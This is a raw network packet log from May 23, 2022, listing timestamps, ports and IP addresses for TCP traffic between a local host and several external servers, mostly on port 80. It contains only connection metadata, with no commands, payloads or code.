May 23, 2022 11:38:31.284321070 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284343958 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.284353018 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284379959 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.284385920 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284409046 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.284420967 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284488916 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284509897 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.284529924 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.284548998 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.284559965 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284564972 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284574986 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284589052 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.284817934 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.397703886 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.397789001 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.397813082 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.397830963 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.397856951 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.397876978 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.397910118 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.397989035 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.398045063 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.398369074 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.398394108 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.398435116 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.398464918 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.398489952 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.398514032 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.398535967 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.398559093 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.398570061 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.398590088 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.398602009 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.398623943 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.398633957 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.398657084 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.398668051 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.398689032 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.398704052 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.398737907 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.398988008 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399003029 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399023056 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399060011 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.399080992 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399092913 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.399117947 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.399195910 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399225950 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399250984 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.399272919 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399281025 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.399301052 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399308920 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.399329901 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399348974 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.399382114 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.399655104 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.399678946 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399699926 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399722099 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399743080 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.399754047 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399776936 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399797916 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.399810076 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399831057 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399849892 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.399861097 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399885893 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399890900 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.399912119 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.399920940 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.399967909 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.400149107 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.400171041 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.400207043 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.400219917 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.400242090 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.400259018 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.400270939 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.400288105 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.400300980 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.400326967 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.400333881 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.400352001 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.400362968 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.400379896 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.400413990 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.400675058 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.400697947 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.400762081 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.400825024 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.400847912 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.400868893 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.400887012 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.400899887 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.400918961 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.400954008 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.401998997 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.402740955 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.512909889 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.512937069 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.512953043 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.512969971 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.512986898 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513004065 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513020992 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513040066 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513055086 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513077021 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513087988 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513104916 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513117075 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513132095 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513153076 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513159990 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513176918 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513186932 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513197899 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513233900 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513254881 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513272047 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513288975 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513294935 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513346910 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513360023 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513375998 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513396978 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513422966 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513438940 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513456106 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513472080 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513479948 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513495922 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513504982 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513530970 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513586044 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513602972 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513617992 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513629913 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513647079 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513653994 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513673067 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513685942 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513727903 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513745070 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513761997 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513772011 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513792038 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513840914 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513858080 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513866901 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513880968 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513891935 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513906002 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513917923 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.513972044 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.513978958 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514022112 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514038086 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514055014 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514070988 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514086962 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514096022 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514103889 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514118910 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514137030 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514147997 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514159918 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514170885 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514179945 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514236927 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514256954 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514273882 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514297962 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514317036 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514353037 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514369011 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514425039 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514432907 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514465094 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514473915 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514508009 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514513969 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514549971 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514573097 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514589071 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514620066 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514636040 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514664888 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514683008 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514699936 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514709949 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514739990 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514749050 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514774084 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514796972 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.514816999 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.514967918 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.515011072 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.515028954 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.515058041 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.515064001 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.515083075 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.515101910 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.515134096 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.515166044 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.515180111 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.515197039 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.515274048 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.515279055 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.515358925 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.515377045 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.515414000 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.515461922 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.515486956 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.515497923 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.515501022 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.515539885 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.515636921 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.515655041 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.515690088 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.515712023 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.515872002 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.515889883 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.515912056 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.515933990 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.516022921 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.516061068 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.516102076 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.516138077 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.516258955 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.516275883 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.516298056 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.516304016 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.516330004 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.516357899 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.516386032 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.516391993 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.516463995 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.516508102 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.516527891 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.516590118 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.516688108 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.516725063 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.516742945 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.516778946 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.516928911 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.516947985 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.516963959 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.516994953 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.517033100 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.517060041 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.517071009 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.517182112 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.517244101 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.517262936 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.517313957 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.517369032 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.517389059 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.517414093 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.517437935 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.517458916 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.517476082 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.517498970 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.517513037 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.517642975 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.517659903 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.517682076 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.517694950 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.517818928 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.517853975 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.517872095 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.518011093 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.518059969 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.518075943 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.518121004 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.518224001 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.518265009 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.518279076 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.518325090 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.518399000 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.518445015 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.518474102 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.518510103 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.518598080 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.518616915 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.518640041 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.518654108 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.518800974 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.518819094 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.518838882 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.518853903 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.519099951 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.519119024 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.519141912 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.519155979 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.519185066 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.519217014 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.519226074 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.519259930 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.519377947 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.519418001 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.519459009 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.519495964 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.519592047 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.519608974 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.519629955 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.519644976 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.519774914 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.519818068 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.519829988 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.519860029 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.519898891 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.519963980 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.519987106 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:31.520006895 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.520036936 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:31.520055056 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:38:36.406037092 CEST	80	49174	66.84.31.11	192.168.2.22
May 23, 2022 11:38:36.406132936 CEST	49174	80	192.168.2.22	66.84.31.11
May 23, 2022 11:39:03.776876926 CEST	49175	80	192.168.2.22	128.199.252.32
May 23, 2022 11:39:04.891344070 CEST	49176	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:05.074563026 CEST	8080	49176	173.82.82.196	192.168.2.22
May 23, 2022 11:39:05.074662924 CEST	49176	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:05.118046045 CEST	49176	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:05.301114082 CEST	8080	49176	173.82.82.196	192.168.2.22
May 23, 2022 11:39:05.316384077 CEST	8080	49176	173.82.82.196	192.168.2.22
May 23, 2022 11:39:05.316428900 CEST	8080	49176	173.82.82.196	192.168.2.22
May 23, 2022 11:39:05.316551924 CEST	49176	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:05.323745012 CEST	49176	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:05.506824017 CEST	8080	49176	173.82.82.196	192.168.2.22
May 23, 2022 11:39:05.509315014 CEST	8080	49176	173.82.82.196	192.168.2.22
May 23, 2022 11:39:05.509466887 CEST	49176	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:06.787177086 CEST	49175	80	192.168.2.22	128.199.252.32
May 23, 2022 11:39:08.715101004 CEST	49176	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:08.898792982 CEST	8080	49176	173.82.82.196	192.168.2.22
May 23, 2022 11:39:09.656418085 CEST	8080	49176	173.82.82.196	192.168.2.22
May 23, 2022 11:39:09.656604052 CEST	49176	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:12.654910088 CEST	8080	49176	173.82.82.196	192.168.2.22
May 23, 2022 11:39:12.654932976 CEST	8080	49176	173.82.82.196	192.168.2.22
May 23, 2022 11:39:12.655040979 CEST	49176	8080	192.168.2.22	173.82.82.196
May 23, 2022 11:39:12.793657064 CEST	49175	80	192.168.2.22	128.199.252.32
May 23, 2022 11:39:25.282913923 CEST	49178	80	192.168.2.22	138.219.41.210
